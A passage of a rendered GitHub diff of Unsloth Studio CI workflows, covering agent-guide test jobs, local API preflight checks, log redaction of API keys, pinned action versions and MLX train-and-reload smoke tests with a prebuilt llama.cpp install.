uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
continue-on-error: true
|
||||
with:
|
||||
path: gguf-cache
|
||||
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
|
||||
|
||||
- name: Download GGUF if cache miss
|
||||
id: download-gguf
|
||||
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
|
||||
env:
|
||||
# Gated off PR (see note above); public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p gguf-cache
|
||||
bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
|
||||
|
||||
- name: Save GGUF model file
|
||||
if: always() && steps.download-gguf.outcome == 'success'
|
||||
uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
with:
|
||||
path: gguf-cache
|
||||
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
|
||||
|
||||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
# Gated off PR (see note above); public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
bash install.sh --local --no-torch 2>&1 | tee logs/install.log
|
||||
|
||||
- name: Serve unsloth run --disable-tools (gemma-4-E4B)
|
||||
run: |
|
||||
unsloth studio reset-password
|
||||
bash .github/scripts/serve-unsloth-run.sh \
|
||||
--gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
|
||||
--port "$STUDIO_PORT" --log-dir logs \
|
||||
--extra "--seed $UNSLOTH_SEED --temp 0" \
|
||||
--health-timeout 900
|
||||
|
||||
- name: Preflight the agent's API dialect (class-a isolation)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: |
|
||||
set -uo pipefail
|
||||
B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
|
||||
preflight_fail() {
|
||||
echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect; this is class (a), not guide drift). Endpoint contract lives in studio/backend/routes/**.";
|
||||
exit 1
|
||||
}
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
|
||||
-H "Authorization: Bearer $K") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
|
||||
# Probe the same dialect the agent will use, so a streaming/messages
|
||||
# regression in the weekly run is reported as class (a) here instead of
|
||||
# surfacing later as guide drift (mirrors the connection job).
|
||||
case "$AGENT" in
|
||||
claude)
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
|
||||
;;
|
||||
codex)
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
|
||||
;;
|
||||
*)
|
||||
# OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
|
||||
;;
|
||||
esac
|
||||
echo "preflight OK for $AGENT"
|
||||
|
||||
- name: Install agent CLI (class-b isolation)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: bash .github/scripts/agent-guides-install.sh "$AGENT"
|
||||
|
||||
- name: 2-turn hello.py test (class-c isolation)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: bash .github/scripts/agent-guides-drive.sh file-edit "$AGENT"
|
||||
|
||||
- name: Collect server logs (debug)
|
||||
if: always()
|
||||
run: |
|
||||
mkdir -p logs/studio-logs
|
||||
cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
|
||||
# Redact the key across the WHOLE logs/ tree, not just studio-logs:
|
||||
# serve-unsloth-run.sh records the `unsloth run` banner (which prints
|
||||
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
|
||||
# step publishes all of logs/, so scrubbing only studio-logs would leak
|
||||
# the bearer token in the retained artifact.
|
||||
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
|
||||
# agent-workdir/ are published by the same upload step.
|
||||
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
|
||||
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
|
||||
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
|
||||
done
|
||||
fi
|
||||
|
||||
- name: Stop Studio
|
||||
if: always()
|
||||
run: |
|
||||
# Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
|
||||
# `kill 0` signal this step's whole process group and abort cleanup.
|
||||
if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
|
||||
kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
|
||||
fi
|
||||
sleep 2
|
||||
ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
|
||||
|
||||
- name: Upload logs
|
||||
if: always()
|
||||
continue-on-error: true
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: file-edit-${{ matrix.agent }}-log
|
||||
path: |
|
||||
logs/
|
||||
agent-workdir/
|
||||
redacted-configs/
|
||||
retention-days: 7
|
||||
|
||||
# ═════════════════════════════════════════════════════════════════════
|
||||
# Job: resume
|
||||
# Does a conversation started with `unsloth start <agent>` survive exit
|
||||
# and resume? This drives the REAL launch path (not the --no-launch
|
||||
# recipe the other jobs use). A plain launch relocates the agent home to
|
||||
# a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the
|
||||
# session to the stable Unsloth agents dir so it persists. opencode/claude
|
||||
# keep their session data in a fixed user dir, so they persist either way.
|
||||
# Dispatch-only: it is an end-to-end experiment, not a PR gate.
|
||||
# ═════════════════════════════════════════════════════════════════════
|
||||
resume:
|
||||
name: resume (${{ matrix.agent }})
|
||||
if: github.event_name == 'workflow_dispatch'
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 60
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
# codex/pi relocate their whole home (resume broken without --persist);
|
||||
# opencode/claude keep session data in a fixed dir (resume already works).
|
||||
# One agent from each class proves the split end to end; openclaw/hermes
|
||||
# share codex's relocation mechanism and are covered by the unit tests.
|
||||
agent: [codex, opencode, claude, pi]
|
||||
env:
|
||||
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
|
||||
GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
|
||||
STUDIO_PORT: '18904'
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Linux deps for llama.cpp prebuilt
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
libcurl4-openssl-dev libssl-dev jq
|
||||
|
||||
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
|
||||
with:
|
||||
node-version: '22'
|
||||
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
cache: 'pip'
|
||||
|
||||
- name: Restore GGUF model file
|
||||
id: cache-gguf
|
||||
uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
continue-on-error: true
|
||||
with:
|
||||
path: gguf-cache
|
||||
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
|
||||
|
||||
- name: Download GGUF if cache miss
|
||||
id: download-gguf
|
||||
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p gguf-cache
|
||||
bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
|
||||
|
||||
- name: Save GGUF model file
|
||||
if: always() && steps.download-gguf.outcome == 'success'
|
||||
uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
with:
|
||||
path: gguf-cache
|
||||
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
|
||||
|
||||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
bash install.sh --local --no-torch 2>&1 | tee logs/install.log
|
||||
|
||||
- name: Serve unsloth run --disable-tools (gemma-4-E4B)
|
||||
run: |
|
||||
unsloth studio reset-password
|
||||
bash .github/scripts/serve-unsloth-run.sh \
|
||||
--gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
|
||||
--port "$STUDIO_PORT" --log-dir logs \
|
||||
--extra "--seed $UNSLOTH_SEED --temp 0" \
|
||||
--health-timeout 900
|
||||
|
||||
- name: Preflight the agent's API dialect (class-a isolation)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: |
|
||||
set -uo pipefail
|
||||
B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
|
||||
preflight_fail() {
|
||||
echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**.";
|
||||
exit 1
|
||||
}
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
|
||||
-H "Authorization: Bearer $K") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
|
||||
case "$AGENT" in
|
||||
claude)
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
|
||||
;;
|
||||
codex)
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
|
||||
;;
|
||||
*)
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
|
||||
;;
|
||||
esac
|
||||
echo "preflight OK for $AGENT"
|
||||
|
||||
- name: Install agent CLI (class-b isolation)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: bash .github/scripts/agent-guides-install.sh "$AGENT"
|
||||
|
||||
- name: Resume experiment (launch path)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT"
|
||||
|
||||
- name: Collect server logs (debug)
|
||||
if: always()
|
||||
run: |
|
||||
mkdir -p logs/studio-logs
|
||||
cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
|
||||
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
|
||||
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
|
||||
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
|
||||
done
|
||||
fi
|
||||
|
||||
- name: Stop Studio
|
||||
if: always()
|
||||
run: |
|
||||
if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
|
||||
kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
|
||||
fi
|
||||
sleep 2
|
||||
ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
|
||||
|
||||
- name: Upload logs
|
||||
if: always()
|
||||
continue-on-error: true
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: resume-${{ matrix.agent }}-log
|
||||
path: |
|
||||
logs/
|
||||
agent-workdir/
|
||||
redacted-configs/
|
||||
retention-days: 7
|
||||
|
||||
# ═════════════════════════════════════════════════════════════════════
|
||||
# Job 3: prompt-cache
|
||||
# (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0
|
||||
# (server prompt-cache sanity).
|
||||
# (b) Claude Code attribution A/B: with CLAUDE_CODE_ATTRIBUTION_HEADER=0
|
||||
# expect a llama-server KV-cache HIT on turn 2; without it expect a
|
||||
# MISS. If it inverts, the guide flag is stale.
|
||||
# PR + weekly + dispatch (cheap, gemma-3-270m).
|
||||
# ═════════════════════════════════════════════════════════════════════
|
||||
prompt-cache:
|
||||
name: prompt-cache (gemma-3-270m)
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 25
|
||||
env:
|
||||
GGUF_REPO: unsloth/gemma-3-270m-it-GGUF
|
||||
GGUF_VARIANT: UD-Q4_K_XL
|
||||
GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf
|
||||
STUDIO_PORT: '18903'
|
||||
HF_HOME: ${{ github.workspace }}/hf-cache
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Linux deps for llama.cpp prebuilt
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
libcurl4-openssl-dev libssl-dev jq
|
||||
|
||||
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
|
||||
with:
|
||||
node-version: '22'
|
||||
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
cache: 'pip'
|
||||
|
||||
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
|
||||
id: cache-hf
|
||||
uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
continue-on-error: true
|
||||
with:
|
||||
path: hf-cache
|
||||
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
|
||||
|
||||
- name: Prime HF_HOME with the GGUF
|
||||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
# Gated off PR (see note above); public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE"
|
||||
|
||||
- name: Save HF_HOME for ${{ env.GGUF_REPO }}
|
||||
if: always() && steps.prime-hf.outcome == 'success'
|
||||
uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
with:
|
||||
path: hf-cache
|
||||
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
|
||||
|
||||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
# Gated off PR (see note above); public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
bash install.sh --local --no-torch 2>&1 | tee logs/install.log
|
||||
|
||||
- name: Serve unsloth run --disable-tools (gemma-3-270m)
|
||||
run: |
|
||||
unsloth studio reset-password
|
||||
bash .github/scripts/serve-unsloth-run.sh \
|
||||
--model "$GGUF_REPO" --gguf-variant "$GGUF_VARIANT" \
|
||||
--port "$STUDIO_PORT" --log-dir logs \
|
||||
--extra "--seed $UNSLOTH_SEED --temp 0"
|
||||
|
||||
# (a) server prompt-cache sanity on the OpenAI chat path. The helper runs
|
||||
# the 2-turn probe internally (turn 2 reuses turn 1's prefix) and asserts
|
||||
# turn-2 usage.prompt_tokens_details.cached_tokens > 0. This is the hard
|
||||
# gate -- it proves llama.cpp KV reuse is surfaced on /v1/chat/completions.
|
||||
- name: Server prompt-cache sanity (cached_tokens > 0)
|
||||
run: bash .github/scripts/assert-prompt-cache.sh api "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY"
|
||||
|
||||
- name: Install Claude Code (class-b isolation)
|
||||
env:
|
||||
AGENT: claude
|
||||
run: bash .github/scripts/agent-guides-install.sh claude
|
||||
|
||||
# (b) Claude attribution A/B against the llama-server log. This is the most
|
||||
# environment-sensitive check (it depends on the bundled llama.cpp's
|
||||
# slot-reuse log wording and on claude --continue reusing the prefix), so
|
||||
# it is non-blocking until calibrated on the first scheduled run; the
|
||||
# server cache sanity above is the hard gate. The step still prints the
|
||||
# observed HIT/MISS so drift is visible in the log + artifacts.
|
||||
- name: Claude attribution A/B (HIT with header=0, MISS without)
|
||||
continue-on-error: true
|
||||
run: bash .github/scripts/agent-guides-drive.sh attribution-ab claude
|
||||
|
||||
- name: Collect server logs (debug)
|
||||
if: always()
|
||||
run: |
|
||||
mkdir -p logs/studio-logs
|
||||
cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
|
||||
# Redact the key across the WHOLE logs/ tree, not just studio-logs:
|
||||
# serve-unsloth-run.sh records the `unsloth run` banner (which prints
|
||||
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
|
||||
# step publishes all of logs/, so scrubbing only studio-logs would leak
|
||||
# the bearer token in the retained artifact.
|
||||
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
|
||||
# agent-workdir/ are published by the same upload step.
|
||||
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
|
||||
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
|
||||
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
|
||||
done
|
||||
fi
|
||||
|
||||
- name: Stop Studio
|
||||
if: always()
|
||||
run: |
|
||||
# Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
|
||||
# `kill 0` signal this step's whole process group and abort cleanup.
|
||||
if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
|
||||
kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
|
||||
fi
|
||||
sleep 2
|
||||
ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
|
||||
|
||||
- name: Upload logs
|
||||
if: always()
|
||||
continue-on-error: true
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: prompt-cache-log
|
||||
path: |
|
||||
logs/
|
||||
redacted-configs/
|
||||
retention-days: 7
|
||||
4
.github/workflows/lockfile-audit.yml
vendored
4
.github/workflows/lockfile-audit.yml
vendored
|
|
@ -60,11 +60,11 @@ jobs:
|
|||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: actions/setup-python@v5
|
||||
- uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
|
|
|
|||
220
.github/workflows/mlx-ci.yml
vendored
220
.github/workflows/mlx-ci.yml
vendored
|
|
@ -163,7 +163,7 @@ jobs:
|
|||
'pytest==9.0.3' \
|
||||
'pytest-asyncio==1.3.0' \
|
||||
'httpx==0.28.1'
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu \
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
|
||||
'torch==2.10.0'
|
||||
# github.com occasionally 500s on the git fetch; retry the
|
||||
# zoo install so a single upstream blip does not fail CI.
|
||||
|
|
@ -231,41 +231,126 @@ jobs:
|
|||
tests/studio/test_is_mlx_dispatch_gate.py \
|
||||
tests/studio/test_mlx_training_worker_behaviors.py
|
||||
|
||||
# Studio prebuilt llama.cpp install + GGUF inference. Mirrors the
|
||||
# path Studio's setup.sh takes on macOS since #5963: plan against
|
||||
# the unslothai/llama.cpp fork's latest release, which ships the
|
||||
# bin-macos-arm64 bundle plus the llama-prebuilt-manifest.json the
|
||||
# default policy reads. After install, downloads a small published
|
||||
# GGUF (unsloth/gemma-3-270m-it-GGUF, Q4_K_M) and validates
|
||||
# llama-server /completion end to end. An install failure or a
|
||||
# non-zero binary exit is an Unsloth/Studio bug.
|
||||
- name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1)
|
||||
# Real MLX training + inference smoke test. Trains
|
||||
# unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
|
||||
# (batch_size=2, gradient_accumulation_steps=3) on a single
|
||||
# repeated row ("<<HELLO!!>> My name is Unsloth!"), then saves
|
||||
# the trained model in 3 export formats. The `train` subcommand
|
||||
# captures per-phase timing + peak GPU + peak RSS into
|
||||
# train_metrics.json so we can detect regressions across CI runs.
|
||||
- name: MLX export round-trip — TRAIN + SAVE 3 formats
|
||||
env:
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
UNSLOTH_COMPILE_DISABLE: '1'
|
||||
run: |
|
||||
mkdir -p mlx_workdir
|
||||
# Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit);
|
||||
# read-only GITHUB_TOKEN scoped here only, never to steps that run binaries.
|
||||
GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \
|
||||
python tests/studio/run_real_mlx_smoke.py train \
|
||||
--workdir "$PWD/mlx_workdir"
|
||||
|
||||
# Each reload step runs in a FRESH Python process to confirm
|
||||
# the cold-start path users would hit in production also works
|
||||
# (not just the in-memory continuation of a still-running
|
||||
# trainer). FastMLXModel.from_pretrained gets called from
|
||||
# scratch; mx.random is re-seeded; per-step timing + peak
|
||||
# memory are emitted to {format}_reload_metrics.json next to
|
||||
# the saved dir.
|
||||
- name: MLX export round-trip — RELOAD LoRA (fresh process)
|
||||
env:
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
UNSLOTH_COMPILE_DISABLE: '1'
|
||||
run: |
|
||||
python tests/studio/run_real_mlx_smoke.py reload \
|
||||
--format lora \
|
||||
--dir "$PWD/mlx_workdir/lora"
|
||||
|
||||
- name: MLX export round-trip — RELOAD merged_16bit (fresh process)
|
||||
env:
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
UNSLOTH_COMPILE_DISABLE: '1'
|
||||
run: |
|
||||
python tests/studio/run_real_mlx_smoke.py reload \
|
||||
--format merged \
|
||||
--dir "$PWD/mlx_workdir/merged_16bit"
|
||||
|
||||
# GGUF reload uses the llama-cli binary that save_pretrained_gguf
|
||||
# built. If save_pretrained_gguf was skipped during train (e.g.
|
||||
# llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer
|
||||
# vocab -- a downstream llama.cpp limitation, not an unsloth_zoo
|
||||
# bug), this step emits a workflow warning and exits 0 so the
|
||||
# LoRA + merged_16bit assertions remain the gating signal.
|
||||
- name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process)
|
||||
env:
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then
|
||||
python tests/studio/run_real_mlx_smoke.py reload \
|
||||
--format gguf \
|
||||
--dir "$PWD/mlx_workdir/gguf"
|
||||
else
|
||||
REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')")
|
||||
echo "::warning title=GGUF round-trip skipped::${REASON}"
|
||||
echo "GGUF export was skipped during the train phase. Reason:"
|
||||
echo " ${REASON}"
|
||||
echo "Continuing without failing the job; the LoRA + merged_16bit"
|
||||
echo "reload assertions are still gating this PR."
|
||||
fi
|
||||
|
||||
# Print all metrics JSON files so regressions are visible in the
|
||||
# job log. always() so we get telemetry even if a reload step
|
||||
# asserted gibberish.
|
||||
- name: MLX export round-trip — aggregate metrics
|
||||
if: always()
|
||||
run: |
|
||||
for f in mlx_workdir/train_metrics.json \
|
||||
mlx_workdir/lora_reload_metrics.json \
|
||||
mlx_workdir/merged_reload_metrics.json \
|
||||
mlx_workdir/gguf_reload_metrics.json; do
|
||||
echo "=== $f ==="
|
||||
cat "$f" 2>/dev/null || echo "(missing)"
|
||||
echo
|
||||
done
|
||||
|
||||
# Validates the macOS prebuilt path Studio's setup.sh uses (#5963): install the
|
||||
# unslothai/llama.cpp fork's latest release, download a small public GGUF, and
|
||||
# check llama-server /completion end to end. Split and placed last so the
|
||||
# untrusted binary runs only in the final smoke step, after every HF_TOKEN step,
|
||||
# leaving no token-bearing step or shared workspace for a tampered prebuilt to
|
||||
# corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
|
||||
- name: Studio prebuilt llama.cpp install + GGUF download (Mac M1)
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# install_llama_prebuilt.py hits the GitHub releases API to
|
||||
# resolve the asset URL. Anonymous calls share the runner-IP
|
||||
# rate-limit bucket and 403 quickly -- pass the workflow's
|
||||
# automatic GITHUB_TOKEN to bump us to the 5000/hr authenticated
|
||||
# bucket.
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
|
||||
rm -rf "$INSTALL_DIR"
|
||||
# Mirror studio/setup.sh on macOS (the install.sh user path):
|
||||
# it plans against the unslothai/llama.cpp fork's latest
|
||||
# release with no policy or tag flags.
|
||||
# Download only -- no llama-quantize / llama-server launch in this step.
|
||||
python studio/install_llama_prebuilt.py \
|
||||
--install-dir "$INSTALL_DIR" \
|
||||
--published-repo unslothai/llama.cpp
|
||||
mkdir -p /tmp/ggufs
|
||||
bash .github/scripts/hf-download-with-retry.sh \
|
||||
'unsloth/gemma-3-270m-it-GGUF' \
|
||||
'gemma-3-270m-it-Q4_K_M.gguf' \
|
||||
/tmp/ggufs
|
||||
|
||||
